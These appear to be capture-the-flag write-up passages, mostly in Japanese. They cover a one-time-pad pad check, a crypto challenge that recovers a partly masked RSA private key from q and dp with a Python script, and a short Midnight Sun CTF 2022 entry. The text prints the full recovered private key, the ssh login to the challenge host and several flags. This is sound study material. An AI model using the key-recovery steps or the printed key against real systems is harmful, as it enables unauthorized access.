                   #@%*****!*$&#                       &@@$$$@@#BBB                   #@$%%*******%& BBB
                     #@%***!!!*%@&#                      BBBBBBBBB                 #&$%%%******%%& BBBB
                        @%*!***!**$@&##                                        #&@$%%%*******%$# BBBB
                        B &$*!*!*****%$@&##                                #&@$$%%%%*******%@#BBBBB
                          B #@%**!***!***%$@@&&####                ###&@@$$%%%%%%%****!*%$& BBBBB
                            BB #@%***!********%$$$$@@@@@@@@@@@@@@$$$$%%%%%%%%********%$& BBBBB
                               BB #&@%***************%%%%%%%%%%%%%%%*************%$@# BBBBBB
                                  BBB #&@$%*********************************%%$&# BBBBBBB
                                      BBB  ##&@$$%%****************%%%%$$@&#  BBBBBBB
                                          BBBBBB   ###&&&&&@@@&&&###   BBBBBBBBBB
                                                BBBBBBBBBBBBBBBBBBBBBBBBBB      
                                                                                

Welcome to Ricos Roughnecks. We use 1-time-pads to keep all our secrets safe from the Arachnids.
Here in the mobile infantry, we also implement some stronger roughneck checks.

Enter pad > EFGHIJKLMNOPQRSTUVWXwvutsrqponmlkjihgf
[+] Welcome the mobile infantry, keep fighting.
                                                                                
                                                        #######                 
                                               ####&&&&&&&@&&&&&&&####          
                                        ###&&&&&&@@@&&&&@@@@@@@@@@@@@@@&&&##    
                                    #&&@@@&&@@@@@@@@@@@@@@@@@@@@$$$$$$$$$$$$@@&##
                                #&@@@@@$$$$@$$$$$@@@@@@@&&&&&&&@@@@$$$$$$$$$$$$$$@@&#
                             #&@@@$$$@$$$$$$$@@&##   BBBBBBBBBBBB    #&&@@$$$$$$$$%$$@&#
                          #&@@@@@$$$$@$@@&#  BBBBBBBBBBBBBBBBBBBBBBBBBBBBB ##&@@$$$$$$$$$@#
                        #@@@@@$$$$$$@&# BBBBBBBBBB                       BBBBBB #&@@$$$$$$$@&
                      #@@@@$$$$$$@&# BBBBBBB                                   BBB  &@@$$$$%$$@#
                    #@$$$$$$$$$@# BBBBBB                                           BBB &@$$$%%%$@#
                  #@$$$$$$$$@& BBBBBB                                                 BB #@$%%%%%%@#
                #@$$$%%%%%$& BBBBB                 #@&&&&&&&&&&&&&#                      BB#@%%%%%%$@#
               &$%$%%%%%$& BBBBB                   &$@$$$$%$$%%$$$&                        B #@%%%%%$$&
              @%%%%%%%%@ BBBB                @@&&&&$%%%%%%%%%%%%%%@ BB                         &$%%$$$$@#B
            #$%$%%%%%$&BBBBB                @%@$$$$$%%%%%%%$%%%%%%$#BB                          #@$$$$$$$#
           #$$$%%%%%@#BBBB                  %$$%%%%%%%%%%%%%%%%%%%$&BB                            &$%%$$$$@
          #$$$$%%%$& BBB                   @%$%%%%%%%%%%%%%%%%%%%%%&BB                             #$%%%%%%@ B
         #$$$$$$%$&BBBB                    $@$$%%%%%%%%%%%%%%%%%%%%@ B                              #@%%%%%%@ B
        #$%%%%%%$#BBBB                            #$%%%%%%%%%%%%%%$@ B                               #@$$%%%%@ B
       #$%%%%%%$#BBB                          BBBB&%%%*%%%%%%%%%%$$$#BB                               #@$$%%%%@ B
       $%%%**%%#BBB   #&##                        @$%%*%%%%%%%%%%%$$#BB                   ####&#       #@$%$%%%&
      &%%****%@BBBB   %$@$@@@&&&&####             @$%%%%%%%%%%%%%%$$&BBB      #####&&&&@@@@$$$$$#       &$$%%%*%#B
     #%%%%%*%$ BBB   @*$%%%%%%%%%%%$$@@@&&&###    @%%**%%%%%%%%%%%$$@ ##&&&@@@@@$$$$%%%%%%%%%%%%$#B     #@$%****$ B
     @%%*%%%%&BBB   #%$%%%****************%%$$$$@@%%%***%*%%%%%%%%%%$$$$$$$$%$%%%%%%********%%%%%@ B     &$%****%&BB
    #%%***%%$ BB    $%$%%*****************************************%%%%%%%%%%%%%%***%*************%&B      @%%****$ B
    @%%***%%&BBB   &$$%******************%%%%%%********************%**********%******************%$ B     &$%***%%#BB
    $%*****$ BB       #@%*******%%**%%%%**%%%%%%%*********%********%%******%**********%**%%%%%%$&# BB     #$$*****@ B
   #%%****%@BBB       BB #$***********%%**%%%*%*********************%**************%**%%*%%%$# BBBBB       @$*****$ B
   &%%****%#BB            $%%*****%*%**%***%%**************************************%*******%@BBBBB         &$%****%#BB
   @%*****%#BB            $%%%**%@ ##&@%%%%%*************************%***********$@###%*****@BBB           &$%*****&BB
   $%*****$ BB            %$%%%*$ BBBB&%%%%%**%*********************************@BBBBB@%****@BB            #%%*****@BB
   %%*!*!*$ BB            %$%%%%&BBB  @$%%***@  #&@$***************%$&&&#&%*****@BBB  #$****@BB            #%%*****@ B
   %%*!!!*$ BB            %%%%%$ BB   @$%***$#BBBBB&%**************$ BBBB $%****&BB    @%***@BB            #%%*****@ B
   $%*!!!!$ BB            %%%%%&BB    $$%**%&BBB   &$%*************&BBBB  #$%***&BB    #$**%@BB            #%%*****@BB
   &%*!!!!%#BB            # ##& BB    $%%**$ BB    #$%************%#BB     &$%*%&BB     &##  BB            &%%*****&BB
   #$*!!!!*&BB              BBBBB     &@$%$#BB     #$%************$ BB      @$$@#BB      BBBBB             @%%*!!*%#BB
   #$*!!!!*@ B                         B   BBB      @%*!**********$ BB      #  BBB                         %%%****$ BB
    @%!!!!*%#B                           BBB        @%*!**********&BB          BB                         &*%***!*@ BB
    &%*!!!!*@BB                                     &%*!**********&BB                                     $*%**!!%&BB
     $*!!!!*%#B                                     #$**!!**!!!!*%#BB                                    #*%*****$ BB
     &%*!!!!*@ B                                     $*!****!!!**$ BB                                    %*%****%&BBB
      $**!**!%#B                                     @%!!********@BBB                                   @*%*****% BB
      #%****!*$ B                                    &%*!*******%&BB                                   &%%*****%&BBB
       &%***!!*@ B                                   &$*********%#BB                                  #%%*!****@BBB
        &%*!!!!*& B                                  #$%********$ BB                                 #$%**!!!*@ BB
         &%!!!!!*&                                    $%********@ BB                                #%%**!!!*@ BBB
          &%!!!!!*@                                   $%%*******@BB                                &%%%*!!!*@ BBB
           &%*!!!!*$#                              #&$%*********%& B                              @*%%***!*@ BBB
            &%*!!!!*%&                            #$%*%********!!!%@                            #$*$%%****@ BBB
             #$******%@#                          #$%***********!!*%#B                         @%%%%%%**%@ BBB
              #@%******$&                          &@%*********!!*$& B                       &%%$%%%%**$#BBBB
                &$*******$#                           &$*******%& BBBB                     &%*%%%****%@ BBB
                  @%*******$#                         B@**!!!**@BBBB                     &$*%*******$#BBBB
                   #@%*****!*$&#                       &@@$$$@@#BBB                   #@$%%*******%& BBB
                     #@%***!!!*%@&#                      BBBBBBBBB                 #&$%%%******%%& BBBB
                        @%*!***!**$@&##                                        #&@$%%%*******%$# BBBB
                        B &$*!*!*****%$@&##                                #&@$$%%%%*******%@#BBBBB
                          B #@%**!***!***%$@@&&####                ###&@@$$%%%%%%%****!*%$& BBBBB
                            BB #@%***!********%$$$$@@@@@@@@@@@@@@$$$$%%%%%%%%********%$& BBBBB
                               BB #&@%***************%%%%%%%%%%%%%%%*************%$@# BBBBBB
                                  BBB #&@$%*********************************%%$&# BBBBBBB
                                      BBB  ##&@$$%%****************%%%%$$@&#  BBBBBBB
                                          BBBBBB   ###&&&&&@@@&&&###   BBBBBBBBBB
                                                BBBBBBBBBBBBBBBBBBBBBBBBBB      
                                                                                

Welcome to Ricos Roughnecks. We use 1-time-pads to keep all our secrets safe from the Arachnids.
Here in the mobile infantry, we also implement some stronger roughneck checks.

Enter pad > EFGHIJKLMNOPQRSTUVWXxwvutsrqponmlkjihg
[+] The fight is over, here is your flag: shctf{Th3-On1Y-G00d-BUg-I$-A-deAd-BuG}
shctf{Th3-On1Y-G00d-BUg-I$-A-deAd-BuG}

Information Paradox (crypto)

秘密鍵は部分的に2か所がマスクされている。与えられた情報から秘密鍵を復元することができれば、フラグが得られそう。
秘密鍵はバイナリ構成で見てみると、以下のような構造になっている。

RSAPrivateKey ::= SEQUENCE {
  version           Version,
  modulus           INTEGER,  -- n
  publicExponent    INTEGER,  -- e
  privateExponent   INTEGER,  -- d
  prime1            INTEGER,  -- p
  prime2            INTEGER,  -- q
  exponent1         INTEGER,  -- d mod (p-1)
  exponent2         INTEGER,  -- d mod (q-1)
  coefficient       INTEGER,  -- (inverse of q) mod p
  otherPrimeInfos   OtherPrimeInfos OPTIONAL
}

base64デコードしたデータをバイナリエディタで確認してみると、q, dpがわかる。さらにeは通常の65537と推測して、pを割り出す。あとはdを算出後、n, e, dから秘密鍵を生成する。

#!/usr/bin/env python3
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
from base64 import *

with open('singularity', 'r') as f:
    pem = f.read()

key1 = b64decode(''.join(pem.split('\n')[1:7]))
key2 = b64decode(''.join(pem.split('\n')[28:40]))

q = bytes_to_long(key2[0x000f:0x000f+0x0101])
dp = bytes_to_long(key2[0x0114:0x0114+0x0100])

e = 65537

for kp in range(3, e):
    p_mul = dp * e - 1
    if p_mul % kp == 0:
        p = (p_mul // kp) + 1
        if isPrime(p):
            break

n = p * q
hex_n_head = key1[12:].hex()
assert hex(n)[2:].startswith(hex_n_head)

phi = (p - 1) * (q - 1)
d = inverse(e, phi)

key = RSA.construct((n, e, d))
priv_pem = key.exportKey().decode()

with open('privkey.pem', 'w') as f:
    f.write(priv_pem)

秘密鍵生成後、内容を確認し、この鍵でssh接続する。

$ cat privkey.pem
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----
$ ssh -i privkey.pem hawking@0.cloud.chals.io -p 19149
The authenticity of host '[0.cloud.chals.io]:19149 ([165.227.210.30]:19149)' can't be established.
ECDSA key fingerprint is SHA256:kjxofmaMDhHwdqjuqDAsAIOfGkJGfO6SaDgvVNrIfXY.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[0.cloud.chals.io]:19149,[165.227.210.30]:19149' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-88-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sat Apr  2 07:13:28 2022 from 10.1.126.129
hawking@441e90207a19:~$ ls
flag.txt
hawking@441e90207a19:~$ cat flag.txt
shctf{1nf0rm4ti0n_c4nn0t_b3_d3str0y3d}
shctf{1nf0rm4ti0n_c4nn0t_b3_d3str0y3d}

Midnight Sun CTF 2022 Quals Writeup

この大会は2022/4/2 19:00(JST)~2022/4/3 19:00(JST)に開催されました。
今回もチームで参戦。結果は29点で346チーム中157位でした。
参加賞の問題しか解けませんでしたが、
自分で解けた問題をWriteupとして書いておきます。

Sanity (misc)

問題にフラグが書いてあった。

midnight{4r3_y0u_1ns4n3?}